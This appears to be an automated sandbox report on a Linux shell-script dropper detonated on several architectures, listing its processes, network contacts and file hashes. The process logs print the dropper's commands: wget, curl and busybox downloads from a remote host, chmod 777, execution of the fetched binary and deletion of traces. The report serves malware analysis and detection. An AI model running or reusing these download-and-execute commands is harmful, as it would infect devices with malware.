Analysis Overview
SHA256
b1304bfeb8a1f6b48018012108dcdac58da9eebd03cf9fe784256a37528ada84
Threat Level: Shows suspicious behavior
The file b1304bfeb8a1f6b48018012108dcdac58da9eebd03cf9fe784256a37528ada84.sh was found to be: Shows suspicious behavior.
Malicious Activity Summary
Executes dropped EXE
File and Directory Permissions Modification
Checks CPU configuration
Writes file to tmp directory
System Network Configuration Discovery
Reads runtime system information
MITRE ATT&CK
Enterprise Matrix V15
Analysis: static1
Detonation Overview
Reported
2024-11-25 02:53
Signatures
Analysis: behavioral1
Detonation Overview
Submitted
2024-11-25 02:53
Reported
2024-11-25 02:55
Platform
ubuntu1804-amd64-20240508-en
Max time kernel
148s
Max time network
129s
Command Line
Signatures
System Network Configuration Discovery
| Description | Indicator | Process | Target |
| N/A | N/A | /usr/bin/wget | N/A |
| N/A | N/A | /usr/bin/curl | N/A |
Processes
/tmp/b1304bfeb8a1f6b48018012108dcdac58da9eebd03cf9fe784256a37528ada84.sh
[/tmp/b1304bfeb8a1f6b48018012108dcdac58da9eebd03cf9fe784256a37528ada84.sh]
/bin/rm
[/bin/rm bins.sh]
/usr/bin/wget
[wget http://conn.masjesu.zip/bins/Jnxpi2LTAq7X3Q1CRYhQxDDigmLBKHkN59]
/usr/bin/curl
[curl -O http://conn.masjesu.zip/bins/Jnxpi2LTAq7X3Q1CRYhQxDDigmLBKHkN59]
Network
| Country | Destination | Domain | Proto |
| US | 1.1.1.1:53 | conn.masjesu.zip | udp |
| N/A | 224.0.0.251:5353 | udp | |
| US | 1.1.1.1:53 | conn.masjesu.zip | udp |
| US | 151.101.193.91:443 | tcp | |
| GB | 185.125.188.62:443 | tcp | |
| GB | 185.125.188.62:443 | tcp | |
| US | 151.101.193.91:443 | tcp | |
| GB | 89.187.167.9:443 | tcp | |
| US | 1.1.1.1:53 | 1527653184.rsc.cdn77.org | udp |
| US | 1.1.1.1:53 | 1527653184.rsc.cdn77.org | udp |
| GB | 89.187.167.38:443 | 1527653184.rsc.cdn77.org | tcp |
Files
Analysis: behavioral2
Detonation Overview
Submitted
2024-11-25 02:53
Reported
2024-11-25 02:55
Platform
debian9-armhf-20240418-en
Max time kernel
148s
Max time network
3s
Command Line
Signatures
Checks CPU configuration
| Description | Indicator | Process | Target |
| File opened for reading | /proc/cpuinfo | /usr/bin/curl | N/A |
Reads runtime system information
| Description | Indicator | Process | Target |
| File opened for reading | /proc/sys/crypto/fips_enabled | /usr/bin/curl | N/A |
| File opened for reading | /proc/self/auxv | /usr/bin/curl | N/A |
System Network Configuration Discovery
| Description | Indicator | Process | Target |
| N/A | N/A | /usr/bin/wget | N/A |
| N/A | N/A | /usr/bin/curl | N/A |
Processes
/tmp/b1304bfeb8a1f6b48018012108dcdac58da9eebd03cf9fe784256a37528ada84.sh
[/tmp/b1304bfeb8a1f6b48018012108dcdac58da9eebd03cf9fe784256a37528ada84.sh]
/bin/rm
[/bin/rm bins.sh]
/usr/bin/wget
[wget http://conn.masjesu.zip/bins/Jnxpi2LTAq7X3Q1CRYhQxDDigmLBKHkN59]
/usr/bin/curl
[curl -O http://conn.masjesu.zip/bins/Jnxpi2LTAq7X3Q1CRYhQxDDigmLBKHkN59]
Network
| Country | Destination | Domain | Proto |
| US | 1.1.1.1:53 | conn.masjesu.zip | udp |
| US | 1.1.1.1:53 | conn.masjesu.zip | udp |
Files
Analysis: behavioral3
Detonation Overview
Submitted
2024-11-25 02:53
Reported
2024-11-25 02:55
Platform
debian9-mipsbe-20240418-en
Max time kernel
149s
Max time network
150s
Command Line
Signatures
Reads runtime system information
| Description | Indicator | Process | Target |
| File opened for reading | /proc/sys/crypto/fips_enabled | /usr/bin/curl | N/A |
System Network Configuration Discovery
| Description | Indicator | Process | Target |
| N/A | N/A | /usr/bin/wget | N/A |
| N/A | N/A | /usr/bin/curl | N/A |
Processes
/tmp/b1304bfeb8a1f6b48018012108dcdac58da9eebd03cf9fe784256a37528ada84.sh
[/tmp/b1304bfeb8a1f6b48018012108dcdac58da9eebd03cf9fe784256a37528ada84.sh]
/bin/rm
[/bin/rm bins.sh]
/usr/bin/wget
[wget http://conn.masjesu.zip/bins/Jnxpi2LTAq7X3Q1CRYhQxDDigmLBKHkN59]
/usr/bin/curl
[curl -O http://conn.masjesu.zip/bins/Jnxpi2LTAq7X3Q1CRYhQxDDigmLBKHkN59]
Network
| Country | Destination | Domain | Proto |
| US | 1.1.1.1:53 | conn.masjesu.zip | udp |
| BG | 87.120.125.191:80 | conn.masjesu.zip | tcp |
| US | 216.126.231.240:80 | conn.masjesu.zip | tcp |
| US | 1.1.1.1:53 | conn.masjesu.zip | udp |
| BG | 87.120.125.191:80 | conn.masjesu.zip | tcp |
Files
Analysis: behavioral4
Detonation Overview
Submitted
2024-11-25 02:53
Reported
2024-11-25 02:55
Platform
debian9-mipsel-20240611-en
Max time kernel
149s
Max time network
149s
Command Line
Signatures
File and Directory Permissions Modification
| Description | Indicator | Process | Target |
| N/A | N/A | /bin/chmod | N/A |
Executes dropped EXE
| Description | Indicator | Process | Target |
| N/A | /tmp/Jnxpi2LTAq7X3Q1CRYhQxDDigmLBKHkN59 | /tmp/Jnxpi2LTAq7X3Q1CRYhQxDDigmLBKHkN59 | N/A |
Reads runtime system information
| Description | Indicator | Process | Target |
| File opened for reading | /proc/sys/crypto/fips_enabled | /usr/bin/curl | N/A |
| File opened for reading | /proc/sys/crypto/fips_enabled | /usr/bin/curl | N/A |
System Network Configuration Discovery
| Description | Indicator | Process | Target |
| N/A | N/A | /usr/bin/curl | N/A |
| N/A | N/A | /bin/busybox | N/A |
| N/A | N/A | /usr/bin/wget | N/A |
| N/A | N/A | /usr/bin/curl | N/A |
| N/A | N/A | /usr/bin/wget | N/A |
Writes file to tmp directory
| Description | Indicator | Process | Target |
| File opened for modification | /tmp/Jnxpi2LTAq7X3Q1CRYhQxDDigmLBKHkN59 | /usr/bin/curl | N/A |
Processes
/tmp/b1304bfeb8a1f6b48018012108dcdac58da9eebd03cf9fe784256a37528ada84.sh
[/tmp/b1304bfeb8a1f6b48018012108dcdac58da9eebd03cf9fe784256a37528ada84.sh]
/bin/rm
[/bin/rm bins.sh]
/usr/bin/wget
[wget http://conn.masjesu.zip/bins/Jnxpi2LTAq7X3Q1CRYhQxDDigmLBKHkN59]
/usr/bin/curl
[curl -O http://conn.masjesu.zip/bins/Jnxpi2LTAq7X3Q1CRYhQxDDigmLBKHkN59]
/bin/busybox
[/bin/busybox wget http://conn.masjesu.zip/bins/Jnxpi2LTAq7X3Q1CRYhQxDDigmLBKHkN59]
/bin/chmod
[chmod 777 Jnxpi2LTAq7X3Q1CRYhQxDDigmLBKHkN59]
/tmp/Jnxpi2LTAq7X3Q1CRYhQxDDigmLBKHkN59
[./Jnxpi2LTAq7X3Q1CRYhQxDDigmLBKHkN59]
/bin/rm
[rm Jnxpi2LTAq7X3Q1CRYhQxDDigmLBKHkN59]
/usr/bin/wget
[wget http://conn.masjesu.zip/bins/RObPHysGT5dMGEMe7zTmLCq6UE6FTq2Ut7]
/usr/bin/curl
[curl -O http://conn.masjesu.zip/bins/RObPHysGT5dMGEMe7zTmLCq6UE6FTq2Ut7]
Network
| Country | Destination | Domain | Proto |
| US | 1.1.1.1:53 | conn.masjesu.zip | udp |
| US | 216.126.231.240:80 | conn.masjesu.zip | tcp |
| US | 1.1.1.1:53 | conn.masjesu.zip | udp |
| BG | 87.120.125.191:80 | conn.masjesu.zip | tcp |
| US | 216.126.231.240:80 | conn.masjesu.zip | tcp |
| US | 1.1.1.1:53 | conn.masjesu.zip | udp |
| US | 216.126.231.240:80 | conn.masjesu.zip | tcp |
| US | 1.1.1.1:53 | conn.masjesu.zip | udp |
| US | 216.126.231.240:80 | conn.masjesu.zip | tcp |
| US | 1.1.1.1:53 | conn.masjesu.zip | udp |
| BG | 87.120.125.191:80 | conn.masjesu.zip | tcp |
Files
/tmp/Jnxpi2LTAq7X3Q1CRYhQxDDigmLBKHkN59
| MD5 | 998368d7c95ea4293237f2320546e440 |
| SHA1 | 30dfd2d3bb8a7e3241bd7792e90a98ebb70be3a4 |
| SHA256 | 533a1ca5d6595793725bca7641d9461a0f00dd1732dded3e4281196f5dd21736 |
| SHA512 | 648c4720a85dbf834be1ba00f0e1b4167cc670fe15896efb00a77fb6e0c225a13aae3da10d85fa6e7f726420d9bb3c20c43466e02296d44153c127b7160e0b97 |